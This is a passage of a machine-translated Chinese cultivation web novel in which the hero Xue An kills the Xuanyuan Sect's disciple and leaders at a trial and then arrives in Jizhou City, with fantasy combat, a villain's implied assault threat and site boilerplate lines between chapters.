    In that way, the efficacy of the medicine is naturally weakened a lot.


    "He...where does he live now?" Bian Qingmu asked.


    "I let Master Xianshi live with me first!"


    Bian Qingmu nodded, and suddenly said, "Get a piece of Thousand Young Mu Xin!"


    Bian Hua was taken aback, "Sister Aoki, you..."


    Bian Qingmu said: "This spirit pill is too precious, I don''t like to owe favors to others, giving him a piece of a thousand young wooden heart, it is even!"


    "it is good!"


    Bianhua is about to leave.


    "Wait!" Bian Qingmu groaned slightly, "I''ll send it by myself!"


    When Bian Qingmu came to Bianhua''s residence, he saw Xue An busy in the courtyard.


    Bian Tian drooled and squatted aside watching.


    A bonfire was burning on the ground, and several grouses dressed in branches stood on it. Xue An turned the grouse while sprinkling the spices evenly.


    A refreshing fragrance spreads, and people can''t help but move their index fingers when they smell it.


    "This is..." Bian Qingmu was a little dumbfounded.


    Xue An raised his head and glanced at Bian Qingmu, then smiled faintly, "It''s just right, it''s ready to be cooked right away!"


    Bian Qingmu suddenly noticed that light blue branches were burning on the ground.


    Bian Qingmu was silent for a moment, and then said angrily: "You actually use the branches of the sacred tree to make a fire?"


    Xue An said lightly: "What? Are there any questions? And I have to say, your branches are really good, they burn with a strange fragrance!"


    Bian Qingmu is going to run away!


    The reason why Qingmu Town got its name is entirely due to the sacred tree in the town that has not known how long it has grown!


    Yuanzhou City is coveting Qingmu Town, because this sacred tree produces a precious thing every year!


    That is to say, Qian Young Mu Xin that Bian Qingmu brought and prepared to give to Xue An!


    Unexpectedly, Xue An actually dared to cut the branches and leaves of Shenmu to make barbecue!


    For the people in Qingmu Town, this is a blasphemous thing!


    Xue An didn''t care about those. Seeing that the grouse was almost roasted, he picked up one and handed it to Bian Tian.


    "Try it!"


    Bian Tian couldn''t wait to tear off a piece of chicken, and he swallowed it directly without scalding it.


    hiss!


    She bared her teeth when she was hot, but she just couldn''t bear to vomit it!


    Xue An smiled, probably because of having a daughter, so Xue An is very patient and loving to these little girls!


    "Eat or not?" Xue An asked Bian Qingmu with a gloomy look.


    Bian Qingmu grunted angrily, put a piece of wood emitting a blue halo on the table, turned around and left.


    When she reached the gate of the courtyard, she said solemnly: "Tomorrow, go to Yuanzhou City first! The first round of promotion will be held there!"


    "No problem!" Xue An said while eating grouse.


    Bian Qingmu paused, and then said: "This time to Yuanzhou City, I am sure it will not go so smoothly. I hope you will not be too arrogant then. After all, Xuan Yuanzong is among the best in this area of ??thousands of miles. Lots of doors!"


    Xue An smiled faintly, "As long as they don''t come to me, I won''t bother to care about them!"


    When Aoki left, Xue An handed Bianhua a chicken, "Try it, it tastes good!"


    Bian Hua greedily swallowed, but he was afraid that Bian Aoki would get angry when he knew it, and was embarrassed.


    Xue An blinked, "This sacred wood burnt things, you can improve your cultivation a little bit by eating it!"


    Upon hearing this, Bian Hua immediately grabbed a grouse and ate it gorgingly.


    He took a bite of chicken and said in surprise: "Really!"


    Xue An smiled. The reason for this feeling is that when he just grilled, he used his cultivation base to adjust the heat!


    No measures, disperse immortals, it''s so capricious!


    Xue An thought of this, and picked up the green wooden heart.


    To put it bluntly, this thing is the essence of the wood condensed from the Ten Thousand Years Shenmu. It is of no use to Xue An, but it can be taken back to make a toy for the two little girls!


    If Bian Qingmu knew that he regarded him as a treasure, and attracted countless eyes of Qingmu Xin, Xue An was actually just a child''s toy in the eyes of Xue An, I don''t know how he would feel.


    ������������


    Yuanzhou City!


    A town under the main city of Jizhou in the east of Kunlun, where Xuan Yuanzong is located.


    Due to the proximity of the Trial Conference, Yuanzhou City also became enthusiastic.


    When Xue An and Bian Qingmu arrived here, the entire town was already overcrowded.


    Not only were there people who participated in the trial, but there were also many people who came to see the enthusiastic.


    Kunlun Wonderland is full of aura, even ordinary people are very powerful, and the real world has become more commonplace.


    This can be seen from the time when the trial sign was received, the people who took care of the venue were all real-human cultivation bases.


    The two brothers and sisters, Bian Tian and Bian Hua, also followed. This was the first time they participated in the trial meeting, so they were all full of excitement.


    At this moment, a very annoying voice came from behind.


    "Hehe, the people from Qingmu Town dare to come?"


    Hearing this voice, everyone in Bian Qingmu turned their heads and saw a arrogant man approaching.


    When he saw this man, Bian Qingmu''s expression became extremely embarrassing.


    "Chu Xingze!"


    The person who came was the inner disciple of Xuan Yuanzong and one of Sha''s most respected subordinates, Chu Xingze!


    Chu Xingze smiled gloomily, staring at Bian Qingmu a little greedily, and then said: "I heard that your Qingmu town actually dared to kill my Xuanyuan Sect''s messenger, why? I feel that I have a good cultivation level and want to be with us Xuanyuan. Zongbi compared?"


    Bian Qingmu gritted his teeth and said nothing.


    Because this Chu Xingze''s strength is even stronger than her!


    He is the pinnacle of Sanxian, but this Chu Xingze is half-step immortal!


    "Chu Xingze, the trial meeting hasn''t started yet, do you want to do it in the street now?" Bian Qingmu said coldly.


    "Hey, I didn''t want to do it, but when I get to the trial meeting, I will let you know that I have offended Xuan Yuanzong''s fate!" Chu Xingze said coldly.


    At this time, a calm voice came, "Will you help me? I think he is also very upset, he can kill you for free!" The novel is invincible, starting with the new chapter 295 of the newest chapter from Dad Xianzun Chapter Millennium Aoki Heart (first update) URL: https://

 Chapter 296： Kunlun Secret

    oom!


    There was an uproar around the people, and many people looked at each other, wondering who had the courage to say such things in Yuanzhou City.


    Chu Xingze''s expression was so gloomy that water dripped, and he stared at Xue An, "Very well, it''s you who are looking for death!"


    After all, we must do it.


    Bian Qingmu stepped forward, blocking Xue An, and said coldly: "Chu Xingze, the trial is coming, let me talk about it when I try! And this is the street of Yuanzhou City, you are here, but you are blatantly contradicting you. Xuan Yuanzong��s ban!"


    Because once the cultivator had a fight, the damage would be too great!


    Therefore, in all major cities, there are clear orders not to allow cultivators above the heaven and human level to fight privately!


    Hearing this, Chu Xingze''s complexion was uncertain, then nodded, and said to Xue An with murderous intent: "During the trial, I will break your body into pieces!"


    Xue An smiled faintly, "I am looking forward to it!"


    Chu Xingze snorted angrily and walked away.


    Bian Qingmu looked gloomy and waited until he returned to his residence before he said with a sullen anger.


    "I don''t know how you think, but that Chu Xingze is a true disciple created by Xuan Yuanzong with all his strength. He is very powerful and must be compared. He is very sinister and vicious! During the trial, you''d better be alert yourself. !"


    Xue An smiled indifferently, "Okay, I''m sure to teach him how to be a man then!"


    Bian Qingmu couldn''t laugh or cry after hearing this.


    After turning around and returning to the house, I was still a little angry.


    In her opinion, Xue An''s attitude is simply too disgusting.


    It seems to be really invincible in the world, and doesn''t care about anything!


    Looking forward to tomorrow��s trials, you can carry the past, and then you will be clear that Kunlun is so big and masters are like clouds! Bian Qingmu thought silently.


    And in Xuan Yuanzong.


    Sha''e looked at Chu Xingze who was standing below, with a look of admiration on his face.


    "You said...Bian Aoki has arrived?"


    "Back to Master, I saw it with my own eyes on the street!"


    "Very well, since she dared to come, don''t let her go! Do you have confidence in this?" Sha E said lightly.


    "The disciple is absolutely sure that she will pass away at the trial meeting!" Chu Xingze said solemnly.


    "Very well, you are half-step immortal now. If you perform well in this trial meeting and can enter Jizhou, and even the main city of Kunlun, then you will be a teacher with all your strength to create you! In the future... you will see eternal life!"


    Chu Xingze was overjoyed and said, "Thank you, Master! My disciples will definitely live up to Master''s favor!"


    the next day.


    All those who participated in the trial meeting came to this competition venue.


    Bian Qingmu looked up at the trial field exuding a thin halo, and couldn''t help but feel a little leisurely and fascinated.


    "The fairy palace method is serious and cannot be guessed. Such a small venue can actually accommodate such a person and can also conduct trials at the same time!"


    Xue An smiled when he heard the words, and the light in his eyes shone slightly.


    After several days of contact, he has learned a lot about Kunlun Wonderland.


    This Kunlun Wonderland is also a secret realm to put it bluntly, but the area is much larger than the previous war wolf secret realm, which is enough to be half the size of the earth.


    Many cities are scattered all over this land.


    At the center is the main city of Kunlun Wonderland!


    And this trial meeting every three years was presided over by the fairy palace in the main city of Kunlun.


    Start with the first round of screening. If you can stand out, you can enter your main city for the second round of trials!


    Only after passing both rounds can you be qualified to enter the Kunlun main city for the ultimate trial!


    The reason for this is to determine the allocation of various cultivation resources through this method.


    And the so-called fairy palace!


    It is the holy land in the minds of all the cultivators in Kunlun Wonderland!


    The people there, the lowest cultivation base is also heavenly!


    Sect Master has reached the realm of Golden Fairy!


    There are even rumors that there is a golden fairy peak in the fairy palace that has never fallen!


    Such strength is enough to stand out from the crowd in this secret realm!


    For example, the current divine stone of trial made people like Bian Qingmu amazed and cited it as a miracle.


    But in Xue An''s view, this is just a very simple fairy method!


    However, since there is a fairy word, the fairy method is essentially different from the mortal!


    It seems that this trip to Kunlun has many surprises! Xue An thought in his heart.


    Everyone began to enter the arena.


    Chu Xingze rushed to the side, Qingmu and Xue Ansen smiled, and walked in with their heads high.


    Bian Qingmu said solemnly: "If you feel invincible after entering, you can choose to surrender, so at least you can save your life!"


    Xue An smiled faintly, "Keep this sentence for yourself!"


    After that, Xue An stepped into the trial field.


    Bian Qingmu was surprised and angry, so he gritted his teeth and walked in.


    Outside the trial field, people from various sects are waiting anxiously!


    Sha E is a distinguished person, so naturally he will not stand underneath. He is waiting at the restaurant closest to the trial ground at this moment.


    He has full confidence in this trial of his disciple!


    After all... That is half a step of immortality!


    The brothers and sisters Bian Hua and Bian Tian prayed silently among the crowd below.


    I pray that Sister Aoki and Senshi-sama can come back safely!


    After Bian Qingmu entered the light curtain, he felt black before his eyes, and then emerged in a room.


    The opponent is a shirtless man!


    Bian Qingmu secretly let out a sigh of relief, as long as he is not the first to meet Chu Xingze!


    The big man laughed grinningly at this time, "Why is there a little girl with delicate skin and tender meat? This is not enough for me to punch!"


    Even so, the big man still punched out.


    With the fist, there were waves of tigers roaring.


    The one who killed Humen! Bian Qingmu was surprised.


    Killing Humen is a new sect in the surrounding area, the strength is very good!


    Bian Qingmu didn''t dare to take the punch, and after dodge one side, he yelled, "Kill Aoki!"


    Several vines with the thickness of arms instantly entangled the strong man.


    The brawny man struggled and the vines shattered, but no matter how much they were broken, there would be more vines to make up for them.


    Soon, the brawny man who killed Humen was swallowed by endless vines.


    In the end, I had to shout loudly: "I give up!"


    Bian Qingmu withdrew to Fajue, stepped back half a step, and said, "Concession!"


    First burst!


    Bian Aoki wins!


    Then she won three or four games in a row and gradually ranked higher, but the opponents she encountered became richer and stronger.


    at last!


    After a burst of light changed, a cold laughter came, "Very well, I have been waiting for you for a long time!"


    Hearing this voice, Bian Qingmu''s expression changed drastically, turning his head to look.


    I saw Chu Xingze looking at him murderously.


    Bian Qingmu''s heart sank, but he still gritted his teeth and said: "Chu Xingze, today, we will decide whether to win or lose!" The novel is invincible, starting with the newest chapter of the newest chapter of the new chapter Chapter 296 Kunlun Secrets (second more) URL: https://

 Chapter 297： Today, starting from his Xuan Yuanzong!

    Chu Xingze stared at Bian Qingmu''s slender figure, his eyesight gradually becoming Yinxie.


    Although the master let himself kill her, it''s okay to play a game before he dies!


    Therefore he grinned for a while, "Bian Qingmu, do you really think...can you win or lose with me?"


    With that, Chu Xingze exuded a terrible power.


    Bian Qingmu''s complexion changed drastically, and he said in amazement, "How could...you...you have already reached half a step of immortality?"


    Chu Xingze sneered, "Yes, I just broke through some time ago!"


    Bian Qingmu was disappointed for a while.


    Before, she believed that Chu Xingze was at best the cultivation base of Sanxian Peak, and if she went all out with her own, he could still fight.


    But now he is half a step immortal, although only half a step away, but like a moat, he can simply crush himself casually!


    "Bian Qingmu, I really don''t have to kill you, as long as you follow me now, then I can spare you not to die! Even, I can ask my master to take you into the inner door!"


    Bian Qingmu didn''t know what he meant at the beginning, and after the clarification came, his face couldn''t help showing a face of shame and anger.


    "My family has always been able to kill but not insult, even if you are half-step immortal, what can you do? Today, I will defeat you!"


    With that said, Bian Qingmu pushed his own Qingmu Jue to the maximum, and countless vines rose from behind her, like a thousand-handed Guanyin, looking very holy and enlarged!


    "Aoki, kill all!" Bian Qingmu knows that half-step immortality is powerful, so one shot is the strongest killer move.


    These vines grew madly, directly closing the ring, and the front end of the vines turned into a cold blade, and they came straight to Chu Xingze,


    Such a blow caused Chu Xingze to change slightly, and he couldn''t help humming coldly, "Good job!"


    After speaking, he waved a palm.


    Xuanyuan Palm!


    These vines were directly bombarded into fly ash under this strong palm.


    Bian Qingmu was also affected by Yu Wei and was directly blasted into the corner, making it difficult to get up for a while.


    The gap between half-step immortality and scattered immortals is so big!


    Chu Xingze walked slowly with a greedy expression, "Hey, you are dying anyway. Before you die, let me enjoy it!"


    When Bian Qingmu heard this, he was embarrassed to pass away, so he prepared to cut off his meridians!


    But Chu Xingze was obviously guarded against this move, and after a few quick gestures, Bian Qingmu felt that his entire cultivation was sealed, and everyone became weak and weak.


    Chu Xingze walked over with a grin.


    Bian Qingmu was extremely disappointed in his heart.


    But at this moment, there was a sudden violent fluctuation in this trial room, and then both hands stretched in first, and suddenly tore.


    The light curtain of the trial room was torn open by Shengsheng, and then Xue An walked in slowly.


    "I was here, but let me look for it for a long time!"


    Looking at Xue An with a light smile on his face.


    Bian Qingmu couldn''t help being stunned.


    He... how could he emerge here?


    In the trial room, unless one party concedes defeat or dies in battle, it is impossible to leave!


    This scene also stunned Chu Xingze.


    This guy actually broke in abruptly, which is incredible!


    The two could not understand this.


    But in Xue An''s opinion, this is simply too simple!


    For Xue An, this trial method is as simple as One Plus One by one!


    So after Xue An entered the trial field, he defeated all his opponents casually, and then started looking for Chu Xingze room by room.


    I just ran into it here.


    At this time, Chu Xingze''s expression gradually darkened, "Who are you? Why can you go through the trial room?"


    Xue An said lightly: "It doesn''t matter who I am, the important thing is that you are going to die soon!"


    Xue An just saw the scene of Chu Xingze taking advantage of the danger, and couldn''t help but kill himself.


    Chu Xingze sneered when he heard the words, "Don''t be ashamed, I will send you to **** today!"


    After all, Chu Xingze shot out again!


    This palm is several times richer and stronger than just now, obviously it is to kill Xue An with one blow.


    But in the face of this shocking palm, Xue An just gently raised his hand.


    boom!


    Chu Xingze felt as if he had touched the mountain with one palm, and all his arms were numb.


    He was shocked.


    Xue An smiled slightly, "With this ability, you dare to claim immortality?"


    With that, Xue An''s momentum suddenly rose.


    "Sanxian? No! How could there be such a powerful Sanxian power?" Chu Xingze exclaimed.


    Xue An didn''t give him a chance to fight back, so he grabbed his neck and slowly lifted it up.


    Chu Xingze was frightened and frightened, but he was horrified to create, and all his cultivation bases could not be used!


    This man, with a quick pinch, broke all his cultivation skills!


    Seeing Chu Xingze, whose face was as gray as his death, Xue An said calmly: "Forcibly improve your cultivation level through shady means, although you are half-step immortal, but also the weakest one!"


    After all, Xue An''s hand pressed hard.


    "No..."


    Click!


    The sound stopped abruptly.


    Chu Xingze was severely chopped off by Xue An.


    A group of souls broke out and was about to escape.


    Xue An waved casually.


    Broken soul!


    It took only a few breaths from Xue An''s entry until Chu Xingze''s soul flew away!


    Bian Qingmu stared at this scene blankly, a vacancy in his brain!


    Xue An walked over, freed Bian Qingmu''s restraint, and smiled faintly, "It seems that if you are not vigilant, you get the first place!"


    Bian Qingmu trembled, and said in horror: "You... did you really kill this Chu Xingze?"


    "Of course, this kind of merchandise, should I keep it for the New Year?"


    Bian Qingmu trembled all over, and said with a trembling: "You...you go quickly! The farther you go, the better!"


    "Go? Why should I go?"


    Bian Qingmu stomped with anger, "You killed the true disciple of Xuanyuanzong, Xuanyuanzong will not let you go! Your cultivation level is indeed very high, but Xuanyuanzong has seven or eight immortals. There are also a few half-step immortal elders, and Sovereign Sha E is even more immortal! How do you fight them?"


    Xue An listened and smiled slightly, "Is immortality? Very good, I haven''t killed the real immortality, today, let''s start with their Xuan Yuanzong!"


    Bian Qingmu was stunned.


    This guy... didn''t say if he killed Chu Xingze, he still prepared to fight Xuan Yuanzong head-on?


    Outside, the people waiting anxiously were talking.


    Most people have now withdrawn from the trial ground.


    Only Chu Xingze of XuanyuanzongBian Qingmu of Qingmu Town, and a Sanxian whose name no one knows did not emerge.


    "I guess that little lady in Qingmu Town is so fierce this time!" Someone sneered.


    "Hehe, I also heard about it. He actually opposed Xuan Yuanzong. This Bian Qingmu is too unwise!"


    "It seems that the casual repairer also came with Bian Qingmu. I guess it was a helper who was invited!"


    "That''s a fart! That''s a true disciple of Xuan Yuanzong!"


    In these discussions, Bian Hua and Bian Tian held hands firmly and waited with extreme tension and horror!


    Above the restaurant, Sha E smiled faintly, thinking that his disciple had already controlled all the situation! The novel is invincible, starting with the newest chapter of Daddy Xianzun Chapter 297 Today, starting with his Xuanyuanzong! (Third update) URL: https://

 Chapter 298： False longevity and true scattered immortals!

    suddenly.


    The light curtain of the trial field fluctuates.


    Then something flew out and hit everyone''s eyes directly.


    In the smoke and dust, it was a corpse.


    Many people recognized it at a glance, and then all exclaimed.


    "It''s actually Chu Xingze of Xuan Yuanzong!"


    The crowd was in an uproar.


    And Sha''e, who wandered around and drank wine in the restaurant in the distance, stood up suddenly at this moment, and flew towards him with a pale complexion.


    Lying on the ground is the true disciple that he has painstakingly created for many years!


    This creation caused him to blow his beard and eyebrows, and roared: "Who did it?"


    An extremely bitter murderous aura began to spread, and even the ground seemed to be unable to resist Sha''''s anger, and it began to crack gradually.


    The power of eternal life is terrible!


    The onlookers retreated again and again in silence!


    At this time, Xue An slowly walked out of the trial ground, looked at Sha E with a murderous face, and said lightly: "I killed it!"


    Sha E died staring at Xue An, but he was a little surprised.


    As the leader of a faction, he is naturally more cautious than the average person.


    Xue An looked mediocre, but that indifferent heart was not something ordinary people could have.


    Moreover, his apprentice was probably killed by him!


    Who is this person?


    "Boy, kill me from Xuan Yuanzong, haven''t you thought about the results?" Sha E said coldly.


    Xue An smiled faintly, and pulled out his ears slowly, "I haven''t thought about the results, and listening to you, it seems that you only allow you Xuan Yuanzong to kill others, but you are not allowed to kill you?"


    Sha''e turned pale when he was said, and then snorted angrily: "Stop talking, you must be my apprentice who attacked Bian Qingmu''s slut. I will avenge my apprentice today!"


    With that, Sha E''s momentum became more and more powerful, and then he took a palm.


    Xuanyuan Palm!


    But when this trick was used in his hands, it seemed even more powerful.


    At the same time, Sha E was still paying attention to Xue An vigilantly, trying to use this trick to test his cultivation.


    When the palm of the wind arrived, Xue An did not dodge, but took a step directly.


    "Tread the sun and the moon!"


    Xue An directly used the fifth formula of the six killing gods.


    boom!


    Sha E felt a surge of power from heaven and earth, and even interfered with the movement of his own inner Qi.


    Frightened, he escaped 100 meters directly, staring at Xue An after passing away.


    "What''s this trick?"


    Although Xue An only took one step just now, Sha E felt the taste of the laws of heaven and earth!


    "Naturally... the trick to kill you!"


    As Xue An said, everyone rose up into the sky, turned into streamer, and came towards Sha''e.


    "Move the world!"


    "Dividing Yin and Yang!"


    "Death after a lifetime!"


    "Break love!"


    "Tread the sun and the moon!"


    Five punches in a row!


    Xue An seemed to be playing a ball, and fleeing the Xuanyuanzong Sect Master Sha''e.


    The rumbling of the sky is endless, the streamer is wanton and murderous.


    This scene also made everyone dumbfounded.


    Especially Bian Qingmu, whose mouth couldn''t close at this moment, staring blankly at the embarrassed Sha''e who was chased by Xue An in the sky, wondering what it was like.


    I have been in Qingmu Town for so many years, but I haven''t even seen Sha''e face a few times.


    Even if he saw it, Sha E had a high expression on himself.


    And Bian Qingmu is also aware of the strength gap between himself and Sha E, so he has always been in awe of him.


    This is why she asked Xue An to leave as soon as possible.


    Unexpectedly, Sha''e, who is so powerful in his mind, could not hold up a punch under Xue An''s hands!


    It seems...I have always been wrong!


    This man is far more powerful and terrifying than he thought!


    At this time, Sha E had already red eyes, stopped his figure suddenly, and roared: "Junior, I will fight you today!"


    As he said, his aura was burning, and an earth-shattering might enveloped the audience.


    Some people with superficial cultivation can no longer support them, and they are directly slumped to the ground.


    "Xuanyuan destroys the palm of the gods!"


    boom!


    Sha E''s palm suddenly became huge, and he came with the might of heaven and earth.


    The audience was horrified by it.


    But in the face of this stormy palm, Xue An was not sad or happy, but shook his head and said, "If you are truly immortal, then I will evade it now. I regret that the fake is fake, and I can never do it. true!"


    Xue An''s words made Sha E horrified, even more shocked than his apprentice was killed.


    How could he know this?


    At this moment, Xue An raised his fist and blasted out.


    "kill!"


    This punch is only such a simple word!


    There is no fancy or excess.


    Only the purest killing intent!


    But with just such a punch, it directly pierced the earth-shaking Xuanyuan Deity Deity''s palm, and then directly blasted Sha E''s body.


    puff!


    Sha''e was knocked down and flew two miles away, and the blood dripped all the way.


    "how is this possible!"


    Many people screamed out loud!


    Sha E was actually defeated?


    Doesn''t it mean that this man is better than eternal life?


    But only Xue An can make it clear that the immortality of Sha E is not pure!


    He saw this from Chu Xingze.


    This Xuanyuanzong seems to have some kind of secret method, which can use external means to forcibly improve his cultivation.


    This kind of thing seems very powerful to say!


    But Xue An made it clear that such things as cultivation bases should not be half hypocritical!


    The fake is always fake!


    Even if you achieved immortality through opportunistic means at that time, it was just a realm of hypocrisy!


    There is a world of difference from true immortality!


    Because of this, Xue Ancai directly confronted Sha E head-on!


    At this moment, Sha E was already like a bird with a bow, with a panic expression on his face.


    At this moment, from the distant sky, eight streams of light were rushing at an extremely fast speed, and they came close in a flash.


    "It''s the elder and worshiper of Xuanyuanzong!" Bian Qingmu trembled and exclaimed loudly.


    This is also a reminder to Xue An.


    Xue An was noncommittal about this, looking at these people quietly.


    "Who are you, dare to hurt our suzerain?" one of the majestic elderly said angrily.


    When the reinforcements arrived, Sha E''s mood also calmed down, and there was a weird smile at Xue An I admit, your cultivation level is indeed strange and unpredictable, but now my Xuanyuanzong masters are all together. So, even if you are truly immortal, you have to fall here at this moment! "


    "Oh? Then you can try!" Xue An smiled faintly.


    "Set up the formation, kill him!" Sha E said coldly.


    Of the eight elders, three are half-step immortality, and five are the pinnacles of Sanxian.


    Coupled with such a virtual eternal life like Sha E,.


    This kind of formation would frown even if it is true immortality.


    That''s why Sha E dared to be so arrogant.


    Especially when the nine of them stood up from a weird angle, their aura rose steadily!


    "Boy, this day next year will be your death day!" Sha E laughed arrogantly and waved a palm. The novel is invincible, starting with the newest chapter of the new chapter, Chapter 298, fake longevity and true Sanxian! (Fourth update) Website: https://

 Chapter 299： Breakthrough... Half a long life!

    It is difficult to describe this palm in words.


    As if the sky suddenly became dark, a big hand covering the sky and sun slapped Xue An straight.


    Xue An stood in the air, raising his fist to face the shocking palm.


    A sneer appeared at the corner of Sha''''s mouth.


    It seemed to see Xue An''s appearance as a powder with this palm.


    boom!


    After a deafening noise.


    There is no one in the midair, there is only a big pit on the ground, and there is no figure at all!


    "Hahahaha, this is the end of the fight against my Xuanyuanzong, I will let you die without a place to be buried!" Sha''e laughed wildly.


    As for the others, they all have different minds.


    Only Bian Qingmu and Bianhua Biantian brother and sister rushed to the edge of the pit, staring at the scene blankly.


    Then Aoki raised his head and said angrily: "Sha E, you deal with one person with the power of nine people, don''t you feel ashamed?"


    "Hey, Bian Qingmu, don''t talk any more, today, even you have to die!" Sha E said with a sneer, and the giant palm appeared in the sky again.


    Bian Qingmu''s face was pale, but he didn''t have the slightest fear. He said to Bian Hua with a deep voice, "Leave Tian''er quickly, remember, don''t go back to Qingmu Town, it''s not safe there anymore!"


    "I don''t!" Bianhua said categorically.


    "Hurry up, you can only pass away for nothing here!" Bian Qingmu said, fully unfolding the green wood power he has cultivated over the years.


    The huge vines covered half of the sky, facing the giant palm.


    There was a smug smile at the corner of Sha''''s mouth, and he was about to do it.


    At this moment, a shocking atmosphere rose from the pit.


    This momentum was so strong that it directly shattered the giant palm in the sky.


    And the persecuted Sha''e people backed a few steps!


    "What is that?" someone exclaimed.


    Seen in the big hole, a figure slowly walked out.


    He stepped on the void with every step, as if he was stepping up the steps to the sky.


    step!


    Two steps!


    With every step, the momentum on his body will become rich and strong!


    Everyone looked at this scene in amazement.


    When he walked into the air, an overwhelming aura enveloped the audience.


    Bian Qingmu shuddered suddenly, watching this scene with blurred eyesight, and whispered to himself, "Half a step of immortality! He actually... broke through!"


    Sha E was even more surprised at this moment, "How is it possible! How can you break through to the point of half-step immortality so quickly?"


    Xue An smiled faintly, "Is it weird? In fact, I can break through long ago, but I lack pressure. It just so happens that the palm of your hand just now sponsored me!"


    Hearing these words, Sha E almost wanted to cry without tears.


    After talking for a long time, he actually became the person who helped the opponent to break through?


    Then his mind turned a few times, and he said in a deep voice: "Even if it''s half a step of immortality, what can I do? Today, I will still kill you!"


    After all, he once again frantically mobilized the power of the nine people, and prepared to die with Xue An!


    Xue An shook his head, "I won''t play with you! It''s boring!"


    With that said, Xue An dissipated in place, and when he appeared again, he had turned into nine figures, emerging in front of the nine Sha''e!


    "Move the world!" the nine figures shouted in unison, punching out.


    There is no earth-shaking sound, and no breathtaking momentum.


    This punch is extremely ordinary.


    But it was just such a punch that made the nine roar in horror.


    Because only knowledgeable people know.


    The more shocking the external power, it really shows that the greater the abuse of strength!


    Only such a mediocre fist can prove that the strength has been restrained to the extreme!


    But helpless, they couldn''t even resist.


    After a punch.


    Sha E and other nine people all stood in the air with a dull expression.


    The nine figures merged into one, and then Xue An breathed out.


    call!


    The Nine Sha''e turned into flying ash and dissipated in the air.


    All the masters of Xuan Yuanzong died on the spot!


    Many people shuddered suddenly, because they knew that from then on, Xuan Yuanzong would become history and exist in name only!


    Xue An fell and smiled at Bian Qingmu and Bianhua Biantian.


    "When to go to the main city?"


    On that day, what happened in Yuanzhou City spread through the east of Kunlun at an explosive speed.


    Jizhou City!


    Ruyanlou.


    Shang Tianhe drank wine comfortably and peacefully.


    A beautiful and flowery girl gently beat his leg.


    There is the sound of playing the piano in the room.


    Just play it!


    Shang Tianhe applauded lightly, and exclaimed: "Girl Ruyan is really good at piano!"


    Behind the bead curtain came a cold female voice, "Shang Gongzi praised it!"


    Shang Tianhe smiled and was about to say something, a housekeeper hurried over, "Master, the master calls you back, saying that it is urgent!"


    Shang Tianhe frowned, but his father had a call, so he stood up and said, "Girl Ruyan, I''m sorry, I''m going to be out of company first!"


    "Master, please!"


    Shang Tianhe returned home hurriedly.


    Shang Yuchen was pacing back and forth in the study. After seeing Shang Tianhe, he couldn''t help but said in a deep voice, "I just heard a news, I think you should check it out!"


    Shang Tianhe took it over and saw that he was from Yuanzhou City, and he couldn''t help thinking that it was so.


    "It''s just a rural town, what''s the big deal?" Shang Tianhe thought in his heart and opened the Jinshu.


    After reading a few lines, he raised his eyebrows slightly.


    After reading it, I couldn''t help asking in surprise, "Father, is this news true?"


    "I have sent someone to inquire about it, there is no doubt!" Shang Yuchen said.


    Then he continued: "This person has an ominous origin. No one has seen him before today, but his strength is very strong, especially in the end, he actually broke through to half a step of immortality, which shows that this person''s aptitude is full! Trial, your opponent has one more!"


    Shang Tianhe nodded when he heard the words, but said confidently: "Father rest assured, that Xuanyuanzong is just a small sect, and it has been heard that there is a secret method for forcibly raising the cultivation base, so the eternal life that this sect is called is very moist. Big!"


    "And my Tianhe sword has been successfully cast. This trial meeting is when my Shang family entered Kunlun!"


    Not just Shangjia.


    As one of the several big cities in Kunlun Wonderland, Jizhou City has countless wealthy families, and there are even more sectarians.


    Especially now that the trial is imminent, many people are starting to move around.


    So when the news that Xue Anquan killed Xuan Yuanzong came to , it more or less attracted the attention of all parties.


    Ruyanlou.


    A beautiful girl looked at a piece of paper in her hand with her eyes shining.


    "Come on!"


    "Miss!"


    "Inquire about the specific news of this person!"


    "Yes!"


    After the maid retreated, Zhu Ruyan slowly got up and paced back and forth in the house.


    "Fighting out Xuan Yuanzong, you can see that your cultivation is good! But I don''t know, would you be willing to help me? After all... the other party is a member of the fairy palace!"


    When the word "Xiangong" was mentioned, Zhu Ruyan''s face flashed with humiliation and disregard. The novel is invincible, starting with the newest chapter Chapter 299 breakthrough... Half a long life! (Fifth update) Website: https://

 Chapter 300： Stay under the sword

    Jizhou City.


    The main city in the east of Kunlun.


    When the Bian Hua and Bian Tian brothers and sisters saw the tall city wall, they almost jumped up with excitement.


    For them, being able to come to Jizhou once in their lives is an eye-opener.


    But Bian Aoki looked quiet.


    She has been to Jizhou more than once, all because of trials.


    Of course, the results without exception are eliminated.


    This time should be different!


    Bian Qingmu took a peek at Xue An next to him.


    Although it has been a few days since the matter of Yuanzhou City, she still feels thrilling every time she thinks about it.


    Break through the battle for half a step of immortality, and then fist out the nine people, and among the nine people, the lowest cultivation base is Sanxian.


    This man simply subverted all Bian Qingmu''s cognition.


    She finally made it clear why there was a smile in his eyes when she kept Xue An low-key again and again.


    Are you laughing at yourself as a frog at the bottom of the well?


    Thinking of this, she couldn''t help taking a deep breath, and then whispered: "Quickly enter the city, or the city gate will be closed in a while!"


    A group of people walked into Jizhou City. The streets of Jizhou are several times wider than Yuanzhou City. The pedestrians on the street are all well-dressed, and there are many strong people.


    Bian Hua and Bian Tian were fresh about everything, and Bian Tian was even more attracted by a street vendor selling gadgets. They squatted down on the road and watched them.


    At this moment, someone from the other side of the street came galloping.


    This horse is a horseman. The man on the horse is dressed in red, holding a whip, and drinking while galloping, "Get out of the way!"


    As he said, he drew the whip from time to time, and the people who were beaten to dodge could not stop crying.


    This momentum also attracted the attention of Bian Qingmu and others. They were preparing to dodge, and the horses rushed closer.


    Bian Tian was squatting on the side of the road at the moment, and did not notice the strangeness behind him.


    Upon seeing this, the woman drew her whip, "Get out of the way!"


    The whip sound shook the ears, and it was obvious that the attack was extremely harsh.


    Bian Qingmu was shocked when he saw this, and he wanted to stop him.


    Xue An snorted and caught the whip as soon as he stretched out his hand.


    At this time, the woman in red couldn''t help but was stunned. Someone dared to grab his whip.


    Her pretty face couldn''t help showing anger.


    "Let me go!"


    He said that he would take back his whip.


    But no matter how hard she tried, she couldn''t shake Xue Xun at all!


    At this time, Xue An said calmly: "You run a horse in the street and hurt people with a whip. Didn''t your family teach you how to be a person?"


    This sentence made the red-dressed woman furious, "What are you, dare to teach my grandma to me?"


    Xue An frowned slightly, so arrogant, it was really annoying!


    Therefore, when he suddenly let go, the girl who was looting the whip almost fell off the horse, raging, and pulled out the sword from her waist.


    "I will kill you!"


    With that, a sword pierced out and came straight to Xue An''s face.


